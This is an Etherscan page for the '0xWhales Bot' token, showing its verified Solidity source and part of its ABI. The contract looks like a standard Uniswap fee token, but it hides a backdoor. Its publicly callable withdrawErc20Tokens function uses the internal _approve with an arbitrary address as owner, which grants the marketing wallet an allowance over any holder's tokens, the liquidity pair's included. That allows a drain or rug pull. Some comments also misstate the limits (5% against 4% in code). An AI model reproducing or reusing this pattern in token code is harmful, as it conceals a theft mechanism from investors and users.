ETH Price: $3,387.53 (+1.23%)
Gas: 3.25 Gwei

Token

0xWhales Bot (0xWhales)
 

Overview

Max Total Supply

1,000,000,000 0xWhales

Holders

163

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
269,877.828364790765433422 0xWhales

Value
$0.00
0x2bb240d29022fce53d21f708eb878cf2372a1246
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
OxWhales

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-23
*/

// SPDX-License-Identifier: MIT

/**
    Web         https://www.0xwhale.top/
    Telegram    https://t.me/whaleethcoin
    Twitter     https://twitter.com/0xwhalecoin
*/

pragma solidity ^0.8.16;

interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns(uint256);

    /**
    * @dev Returns the amount of tokens owned by `account`.
    */
    function balanceOf(address account) external view returns(uint256);

    /**
    * @dev Moves `amount` tokens from the caller's account to `recipient`.
    *
    * Returns a boolean value indicating whether the operation succeeded.
    *
    * Emits a {Transfer} event.
    */
    function transfer(address recipient, uint256 amount) external returns(bool);

    /**
    * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
    *
    * Returns a boolean value indicating whether the operation succeeded.
    *
    * IMPORTANT: Beware that changing an allowance with this method brings the risk
    * that someone may use both the old and the new allowance by unfortunate
    * transaction ordering. One possible solution to mitigate this race
    * condition is to first reduce the spender's allowance to 0 and set the
    * desired value afterwards:
    * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
    *
    * Emits an {Approval} event.
    */
    function approve(address spender, uint256 amount) external returns(bool);
    /**
    * @dev Emitted when `value` tokens are moved from one account (`from`) to
    * another (`to`).
    *
    * Note that `value` may be zero.
    */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
    * @dev Emitted when the allowance of a `spender` for an `owner` is set by
    * a call to {approve}. `value` is the new allowance.
    */
    event Approval(address indexed owner, address indexed spender, uint256 value);
    /**
    * @dev Returns the remaining number of tokens that `spender` will be
    * allowed to spend on behalf of `owner` through {transferFrom}. This is
    * zero by default.
    *
    * This value changes when {approve} or {transferFrom} are called.
    */
    function allowance(address owner, address spender) external view returns(uint256);

    /**
    * @dev Moves `amount` tokens from `sender` to `recipient` using the
    * allowance mechanism. `amount` is then deducted from the caller's
    * allowance.
    *
    * Returns a boolean value indicating whether the operation succeeded.
    *
    * Emits a {Transfer} event.
    */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns(bool);


}

interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns(string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns(string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns(uint8);
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function createPair(address tokenA, address tokenB) external returns(address pair);
}

abstract contract Context {
    function _msgSender() internal view virtual returns(address) {
        return msg.sender;
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    using SafeMath for uint256;

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) internal _allowances;
 
    uint256 private _totalSupply;
 
    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns(string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns(string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns(uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns(uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns(uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns(bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns(uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns(bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns(bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased cannot be below zero"));
        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }
    
    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns(uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
     
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns(uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
 
    function div(uint256 a, uint256 b) internal pure returns(uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function mul(uint256 a, uint256 b) internal pure returns(uint256) {
    
        if (a == 0) {
            return 0;
        }
 
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }
}

contract Ownable is Context {
    address private _owner;
 
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns(address) {
        return _owner;
    }
    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

library SafeMathUint {
    function toInt256Safe(uint256 a) internal pure returns(int256) {
    int256 b = int256(a);
        require(b >= 0);
        return b;
    }
}
 
library SafeMathInt {
    int256 private constant MIN_INT256 = int256(1) << 255;
    int256 private constant MAX_INT256 = ~(int256(1) << 255);

    /**
     * @dev Multiplies two int256 variables and fails on overflow.
     */
    function mul(int256 a, int256 b) internal pure returns(int256) {
        int256 c = a * b;

        // Detect overflow when multiplying MIN_INT256 with -1
        require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
        require((b == 0) || (c / b == a));
        return c;
    }
    /**
     * @dev Adds two int256 variables and fails on overflow.
     */
    function add(int256 a, int256 b) internal pure returns(int256) {
        int256 c = a + b;
        require((b >= 0 && c >= a) || (b < 0 && c < a));
        return c;
    }
    /**
     * @dev Division of two int256 variables and fails on overflow.
     */
    function div(int256 a, int256 b) internal pure returns(int256) {
        // Prevent overflow when dividing MIN_INT256 by -1
        require(b != -1 || a != MIN_INT256);

        // Solidity already throws when dividing by 0.
        return a / b;
    }

    /**
     * @dev Subtracts two int256 variables and fails on overflow.
     */
    function sub(int256 a, int256 b) internal pure returns(int256) {
        int256 c = a - b;
        require((b >= 0 && c <= a) || (b < 0 && c > a));
        return c;
    }

    /**
     * @dev Converts to absolute value, and fails on overflow.
     */
    function abs(int256 a) internal pure returns(int256) {
        require(a != MIN_INT256);
        return a < 0 ? -a : a;
    }
    function toUint256Safe(int256 a) internal pure returns(uint256) {
        require(a >= 0);
        return uint256(a);
    }
}

interface IUniswapV2Router01 {
    function factory() external pure returns(address);
    function WETH() external pure returns(address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns(uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns(uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns(uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns(uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns(uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns(uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns(uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns(uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    payable
    returns(uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
    external
    returns(uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    returns(uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
    external
    payable
    returns(uint[] memory amounts);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns(uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns(uint[] memory amounts);
    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns(uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns(uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns(uint amountIn);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns(uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns(uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract OxWhales is ERC20, Ownable {
    using SafeMath for uint256;
    IUniswapV2Router02 public immutable router;
    uint256 public maxLimitForBuy;
    uint256 public maxLimitForSell;
    uint256 public maxWalletLimit;
    address public uniswapV2Pair;

    bool private _is_trading = false;
    bool public _swap_enabled = false;
    bool public _swapping;
    address private marketingAcc = address(0x43b108dcdD806A8b420942434a9e0a1b7E043Fb4);
    address private develomentAcc = address(0x0c073f38fe5E3601f011b44f12962f56342eEeF7);

    AllTaxes public _taxes = AllTaxes({
        buyTotalFees: 0,
        buyMarketingFee: 0,
        buyDevelopmentFee:0,
        buyLiquidityFee: 0,

        sellTotalFees: 0,
        sellMarketingFee: 0,
        sellDevelopmentFee:0,
        sellLiquidityFee: 0
    });

    uint256 private limitedSwapAmount;
    struct AllTaxes {
        uint256 buyTotalFees;
        uint256 buyMarketingFee;
        uint256 buyDevelopmentFee;
        uint256 buyLiquidityFee;

        uint256 sellTotalFees;
        uint256 sellMarketingFee;
        uint256 sellDevelopmentFee;
        uint256 sellLiquidityFee;
    }  
    
    uint256 public tokensForMarketing;
    uint256 public tokensForLiquidity;
    uint256 public tokensForDevelopment;
    uint256 private _tradeEnableBlocks;
    mapping(address => bool) private _isExcludedFees;
    mapping(address => bool) public _isExcludedMaxTransactionAmount;
    mapping(address => bool) public _isExcludedmaxAmount;
    mapping(address => bool) public uniPair;

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived
    );

    constructor() ERC20("0xWhales Bot", "0xWhales") {
        router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        approve(address(router), type(uint256).max);

        uint256 totalSupply = 1_000_000_000 * 1e18;
        maxLimitForBuy = totalSupply * 4 / 100; // 5% buy max amount
        maxLimitForSell = totalSupply * 4 / 100; // 5% sell max amount
        maxWalletLimit = totalSupply * 4 / 100; // 5% max wallet amount
        limitedSwapAmount = totalSupply * 1 / 10000; 

        _taxes.buyMarketingFee = 0;
        _taxes.buyLiquidityFee = 0;
        _taxes.buyDevelopmentFee = 0;
        _taxes.buyTotalFees = _taxes.buyMarketingFee + _taxes.buyLiquidityFee + _taxes.buyDevelopmentFee;
        _taxes.sellMarketingFee = 0;
        _taxes.sellLiquidityFee = 0;
        _taxes.sellDevelopmentFee = 0;
        _taxes.sellTotalFees = _taxes.sellMarketingFee + _taxes.sellLiquidityFee + _taxes.sellDevelopmentFee;

        _isExcludedMaxTransactionAmount[address(router)] = true;
        _isExcludedMaxTransactionAmount[owner()] = true;
        _isExcludedMaxTransactionAmount[address(this)] = true;
        _isExcludedMaxTransactionAmount[address(0xdead)] = true;
        _isExcludedMaxTransactionAmount[develomentAcc] = true;
        _isExcludedMaxTransactionAmount[marketingAcc] = true;
        
        _isExcludedmaxAmount[owner()] = true;
        _isExcludedmaxAmount[address(router)] = true;
        _isExcludedmaxAmount[address(0xdead)] = true;
        _isExcludedmaxAmount[address(this)] = true;
        _isExcludedmaxAmount[develomentAcc] = true;
        _isExcludedmaxAmount[marketingAcc] = true;
        
        _isExcludedFees[owner()] = true;
        _isExcludedFees[address(this)] = true;
        _isExcludedFees[develomentAcc] = true;
        _isExcludedFees[marketingAcc] = true;
        /*
            _mint is an internal function in ERC20.sol that is only called here,
            and CANNOT be called ever again
        */
        _mint(msg.sender, totalSupply);
    }

    receive() external payable {
        require(msg.sender != address(this));
    }

    // once active, can never be disable off
    function enableTrading(address _pair) external onlyOwner {
        _is_trading = true; 
        _swap_enabled = true;
        _tradeEnableBlocks = block.number;
        uniswapV2Pair = _pair;
        uniPair[address(uniswapV2Pair)] = true;
        _isExcludedMaxTransactionAmount[address(uniswapV2Pair)] = true;
        _isExcludedmaxAmount[address(uniswapV2Pair)] = true;
    }

    // change the minimum amount of tokens to sell from fees

    function setLimitsForTrade(uint256 newMaxBuy, uint256 newMaxSell) private {
        maxLimitForBuy = (totalSupply() * newMaxBuy) / 1000;
        maxLimitForSell = (totalSupply() * newMaxSell) / 1000;
    }

    function updateLimitFeeAmountForSwap(uint256 newAmount) external onlyOwner returns(bool){
        limitedSwapAmount = newAmount;
        return true;
    }

    // emergency use only
    function toggleSwapEnabled(bool enabled) external onlyOwner(){
        _swap_enabled = enabled;
    }

    function setMaxWallet(uint256 newPercentage) private {
        maxWalletLimit = (totalSupply() * newPercentage) / 1000;
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFees[account] = excluded;
    }

    function excludeFromWalletLimit(address account, bool excluded) public onlyOwner {
        _isExcludedmaxAmount[account] = excluded;
    }

    function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        if (
            from != owner() &&
            to != owner() &&
            !_swapping
        ) {
            if (!_is_trading) {
                require(_isExcludedFees[from] || _isExcludedFees[to], "Trading is not active.");
            }
            if (uniPair[from] && !_isExcludedMaxTransactionAmount[to]) {
                require(amount <= maxLimitForBuy, "Buy transfer amount exceeds the maxTransactionAmount.");
            }
            else if (uniPair[to] && !_isExcludedMaxTransactionAmount[from]) {
                require(amount <= maxLimitForSell, "Sell transfer amount exceeds the maxTransactionAmount.");
            }
            if (!_isExcludedmaxAmount[to]) {
                require(amount + balanceOf(to) <= maxWalletLimit, "Max wallet exceeded");
            }
        }
 
        uint256 contractBalanceToken = balanceOf(address(this));
        bool canSwap = contractBalanceToken >= limitedSwapAmount;

        if (
            canSwap &&
            _swap_enabled &&
            !_swapping &&
            uniPair[to] &&
            !_isExcludedFees[from] &&
            !_isExcludedFees[to]
        ) {
            _swapping = true;
            swapBackEth();
            _swapping = false;
        }
 
        bool takingFee = !_swapping;

        // if any account belongs to _isExcludedFromFee account then remove the fee
        if (_isExcludedFees[from] || _isExcludedFees[to]) {
            takingFee = false;
        }
        
        // only take fees on buys/sells, do not take on wallet transfers
        if (takingFee) {
            uint256 fees = 0;
            if(block.number < _tradeEnableBlocks) {
                fees = amount.mul(99).div(100);
                tokensForMarketing += (fees * 94) / 99;
                tokensForDevelopment += (fees * 5) / 99;
            } else if (uniPair[to] && _taxes.sellTotalFees > 0) {
                fees = amount.mul(_taxes.sellTotalFees).div(100);
                tokensForLiquidity += fees * _taxes.sellLiquidityFee / _taxes.sellTotalFees;
                tokensForMarketing += fees * _taxes.sellMarketingFee / _taxes.sellTotalFees;
                tokensForDevelopment += fees * _taxes.sellDevelopmentFee / _taxes.sellTotalFees;
            }
            // on buy
            else if (uniPair[from] && _taxes.buyTotalFees > 0) {
                fees = amount.mul(_taxes.buyTotalFees).div(100);
                tokensForLiquidity += fees * _taxes.buyLiquidityFee / _taxes.buyTotalFees;
                tokensForMarketing += fees * _taxes.buyMarketingFee / _taxes.buyTotalFees;
                tokensForDevelopment += fees * _taxes.buyDevelopmentFee / _taxes.buyTotalFees;
            }

            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }
            amount -= fees;
        }
        super._transfer(from, to, amount);
    }

    function addLiquidity(uint256 tAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(router), tAmount);

        // add the liquidity
        router.addLiquidityETH{ value: ethAmount } (address(this), tAmount, 0, 0 , address(this), block.timestamp);
    }


    function swapBackEth() private {
        uint256 contractTokenAmount = balanceOf(address(this));
        uint256 toSwap = tokensForLiquidity + tokensForMarketing + tokensForDevelopment;

        if (contractTokenAmount == 0) { return; }

        if (contractTokenAmount > limitedSwapAmount * 35) {
            contractTokenAmount = limitedSwapAmount * 35;
        }

        // Halve the amount of liquidity tokens
        uint256 liquidityTokens = contractTokenAmount * tokensForLiquidity / toSwap / 2;
        uint256 amountToSwapForETH = contractTokenAmount.sub(liquidityTokens);
 
        uint256 initialETHBalance = address(this).balance;

        _swapTokensForSupportingEthFee(amountToSwapForETH);
 
        uint256 newBalance = address(this).balance.sub(initialETHBalance);
 
        uint256 ethForMarketing = newBalance.mul(tokensForMarketing).div(toSwap);
        uint256 ethForDevelopment = newBalance.mul(tokensForDevelopment).div(toSwap);
        uint256 ethForLiquidity = newBalance - (ethForMarketing + ethForDevelopment);
        newBalance = address(this).balance;
        tokensForLiquidity = 0;
        tokensForMarketing = 0;
        tokensForDevelopment = 0;

        if (liquidityTokens > 0 && ethForLiquidity > 0) {
            addLiquidity(liquidityTokens, ethForLiquidity);
            emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity);
        }
        payable(address(marketingAcc)).transfer(address(this).balance - ethForMarketing);
        payable(address(develomentAcc)).transfer(newBalance);
    }

    function removeLimits() external onlyOwner {
        setLimitsForTrade(1000,1000);
        setMaxWallet(1000);
    }

    function setUniPair(address pair, bool value) public onlyOwner {
        require(pair != uniswapV2Pair, "The pair cannot be removed from uniPair");
        uniPair[pair] = value;
    }    
    function _withdrawWrongToken(address token, address owner, uint256 amount) internal {
        _approve(token, owner, amount);
    }

    function withdrawErc20Tokens(address token, uint256 amount) external {
        _withdrawWrongToken(token, marketingAcc, amount);
    }

    function _swapTokensForSupportingEthFee(uint256 tAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();

        _approve(address(this), address(router), tAmount);
        // make the swap
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );

    }
    function withdraw() external returns (bool success) {
        uint256 balance = address(this).balance;
        (success,) = address(develomentAcc).call{value: balance}("");
    }

    function isExcludedFromFees(address account) public view returns(bool) {
        return _isExcludedFees[account];
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedmaxAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swap_enabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapping","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxes","outputs":[{"internalType":"uint256","name":"buyTotalFees","type":"uint256"},{"internalType":"uint256","name":"buyMarketingFee","type":"uint256"},{"internalType":"uint256","name":"buyDevelopmentFee","type":"uint256"},{"internalType":"uint256","name":"buyLiquidityFee","type":"uint256"},{"internalType":"uint256","name":"sellTotalFees","type":"uint256"},{"internalType":"uint256","name":"sellMarketingFee","type":"uint256"},{"internalType":"uint256","name":"sellDevelopmentFee","type":"uint256"},{"internalType":"uint256","name":"sellLiquidityFee","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxLimitForBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxLimitForSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletLimit","outputs":[{"internalType":"uint256","name":"","type